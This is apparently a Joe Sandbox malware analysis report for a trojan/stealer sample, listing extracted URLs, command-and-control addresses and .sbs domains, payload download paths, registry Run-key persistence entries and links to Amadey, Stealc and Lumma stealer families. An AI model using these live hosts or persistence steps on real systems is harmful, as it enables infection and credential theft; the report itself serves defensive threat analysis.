https://spocs.getpocket.com/spocs	firefox.exe, 0000002C.00000002.3328484802.000001C4D1958000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3328484802.000001C4D199B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3294994349.000001C4CE441000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3340432226.000001C4D27A2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://identity.mozilla.com/ids/ecosystem_telemetryU	firefox.exe, 0000002C.00000002.3240273080.000001C4CE0EB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/richSuggestionsFeatureGate	firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001B.00000003.2674594406.000001382875A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673794070.000001382873C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673539276.000001382871F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673199246.0000013828500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2674959078.0000013828777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3341070271.000001C4D284B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestSponsoredEnabled	firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://html.spec.whatwg.org/#the-hr-element-2	firefox.exe, 0000002C.00000002.3328484802.000001C4D1911000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001B.00000003.2674594406.000001382875A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673794070.000001382873C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673539276.000001382871F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673199246.0000013828500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2674959078.0000013828777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3328484802.000001C4D199B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc	firefox.exe, 0000002C.00000003.2831894366.000001C4D2990000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestSponsoredIndex	firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206o	baacd96df2.exe, 00000009.00000002.2958384955.000000000144E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3033993606.0000000023932000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2778926258.00000207D44EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2778713866.0000026531BE8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3181841016.000001C4CDBB5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/csvImport	firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature	firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000002C.00000002.3301606401.000001C4CE803000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	baacd96df2.exe, 00000009.00000003.2753678207.0000000001520000.00000004.00000020.00020000.00000000.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr	firefox.exe, 0000002C.00000002.3340432226.000001C4D278A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bbc.co.uk/	firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp	false		high
https://addons.mozilla.org/firefox/addon/to-google-translate/	firefox.exe, 0000002C.00000002.3240273080.000001C4CE047000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	false		high
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	firefox.exe, 0000002C.00000002.3316860917.000001C4D0E6A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 0000002C.00000002.3339542925.000001C4D26D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3237947447.000001C4CDFF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3339542925.000001C4D26C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3240273080.000001C4CE003000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs:443/api	45de1d3aba.exe, 0000000A.00000003.2933302593.00000000014D8000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 0000000A.00000002.2955620510.00000000014D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 0000002C.00000002.3312620081.000001C4CF297000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshotshttps://screenshots.firefox.com/	firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php_	baacd96df2.exe, 00000009.00000002.2958384955.00000000014C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://yandex.com	firefox.exe, 0000002C.00000003.2929268933.000001C4D6977000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpl	baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1170143	firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllll	baacd96df2.exe, 00000009.00000002.2958384955.00000000014C4000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://befall-sm0ker.sbs/apia;w	45de1d3aba.exe, 00000007.00000002.2955845498.0000000001142000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://monitor.firefox.com/about	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnithttp://mozilla.org/#/proper	firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.zhihu.com/	firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exeR	skotes.exe, 00000006.00000002.2956499086.0000000000ED9000.00000004.00000020.00020000.00000000.sdmp	false	18%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://identity.mozilla.com/apps/relay	firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001B.00000003.2682108544.0000013826D33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3320361102.000001C4D1103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3318362025.000001C4D1063000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3301606401.000001C4CE803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://librari-night.sbs/S	45de1d3aba.exe, 0000000A.00000002.2955620510.00000000014FC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.amazon.co.uk/	firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exeH	skotes.exe, 00000006.00000002.2956499086.0000000000ED9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://monitor.firefox.com/user/preferences	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://screenshots.firefox.com/	firefox.exe, 0000001B.00000003.2674959078.0000013828777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3328484802.000001C4D199B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3340432226.000001C4D27A2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000002C.00000002.3308745460.000001C4CEA1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3304628202.000001C4CE952000.00000004.00000800.00020000.00000000.sdmp	false		high
https://html.spec.whatwg.org/#bidi-rendering	firefox.exe, 0000002C.00000002.3328484802.000001C4D1911000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.wykop.pl/	firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.olx.pl/	firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads	firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://watch.sling.com/	firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-help	firefox.exe, 0000002C.00000003.2929268933.000001C4D69A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://identity.mozilla.com/apps/oldsync	firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://json-schema.org/draft-06/schema#	firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3340432226.000001C4D27CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://html.spec.whatwg.org/#flow-content-3	firefox.exe, 0000002C.00000002.3328484802.000001C4D1911000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.avito.ru/	firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php7864001	skotes.exe, 00000006.00000002.2956499086.0000000000F21000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://w3c.github.io/mathml-core/#dfn-maction	firefox.exe, 0000002C.00000002.3328484802.000001C4D1932000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developers.google.com/safe-browsing/v4/advisory	firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881	firefox.exe, 0000002C.00000002.3137146408.000001C4CDABA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3039047640.000001C4C2311000.00000004.00000800.00020000.00000000.sdmp	false		high
http://poczta.interia.pl/mh/?mailto=%s	firefox.exe, 0000002C.00000002.3301606401.000001C4CE803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://json-schema.org/draft/2020-12/schema	firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	false		high
https://smartblock.firefox.etp/play.svg	firefox.exe, 0000002C.00000002.3328484802.000001C4D1958000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	false		high
https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr	firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://dev.w3.org/html5/spec/rendering.html#rendering	firefox.exe, 0000002C.00000002.3328484802.000001C4D1911000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature	firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpcal	baacd96df2.exe, 00000009.00000002.2958384955.000000000144E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled	firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.185.206	plus.l.google.com	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
142.250.186.78	play.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
172.67.206.172	librari-night.sbs	United States	13335	CLOUDFLARENETUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
188.114.97.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.142	youtube.com	United States	15169	GOOGLEUS	false
34.116.198.130	home.fvtekk5pn.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559925
Start date and time:	2024-11-21 07:08:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	49
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@85/61@52/19
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172, 192.229.221.95, 142.250.185.67, 142.250.185.174, 142.250.110.84, 34.104.35.123, 142.250.185.195, 172.217.16.202, 142.250.185.202, 142.250.186.42, 142.250.186.106, 142.250.185.234, 142.250.184.234, 142.250.74.202, 142.250.185.74, 142.250.185.106, 172.217.23.106, 216.58.206.42, 142.250.186.170, 142.250.186.138, 142.250.184.202, 142.250.181.234, 172.217.18.10, 35.164.125.63, 35.80.238.59, 52.12.64.98, 142.250.185.131, 142.250.181.238, 64.233.166.84
Excluded domains from analysis (whitelisted): fs.microsoft.com, shavar.prod.mozaws.net, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, detectportal.prod.mozaws.net, aus5.mozilla.org, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com, location.services.mozilla.com
Execution Graph export aborted for target 45de1d3aba.exe, PID 7400 because there are no executed function
Execution Graph export aborted for target file.exe, PID 7592 because it is empty
Execution Graph export aborted for target skotes.exe, PID 7780 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7788 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:10:01	API Interceptor	4753x Sleep call for process: skotes.exe modified
01:10:40	API Interceptor	249x Sleep call for process: baacd96df2.exe modified
01:10:46	API Interceptor	121x Sleep call for process: 45de1d3aba.exe modified
01:11:03	API Interceptor	1x Sleep call for process: firefox.exe modified
06:08:57	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
06:10:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 45de1d3aba.exe C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe
06:10:28	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run baacd96df2.exe C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe
06:10:37	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9225ca0b64.exe C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe
06:10:46	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run bec28015e3.exe C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe
06:10:54	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 45de1d3aba.exe C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe
06:11:02	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run baacd96df2.exe C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe
06:11:12	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 9225ca0b64.exe C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe
06:11:24	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run bec28015e3.exe C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	E89hSGjVrv.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
